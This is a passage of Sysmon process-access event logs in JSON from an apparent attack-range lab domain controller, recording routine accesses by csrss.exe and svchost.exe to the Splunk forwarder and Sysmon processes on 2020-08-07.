Files\\SplunkUniversalForwarder\\bin\\btool.exe+aa24|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:24","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:24","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3014,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:24.383\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 1148\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-4078-5F2D-0000-0010C7FC0400}\r\nTargetProcessId: 4860\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:24.383","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"1148","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-4078-5F2D-0000-0010C7FC0400}","TargetProcessId":"4860","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:52:24","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:24","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3015,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:24.383\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:24.383","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:24","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:24","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3016,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:24.383\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:24.383","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:24","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:24","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3017,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:24.383\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:24.383","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:24","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:24","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3018,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:24.383\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:24.383","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:24","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:24","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3019,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:24.383\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:24.383","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:24","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:24","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3020,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:24.383\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:24.383","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:24","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:24","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3021,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:24.383\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:24.383","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:24","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:24","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3022,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:24.383\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: 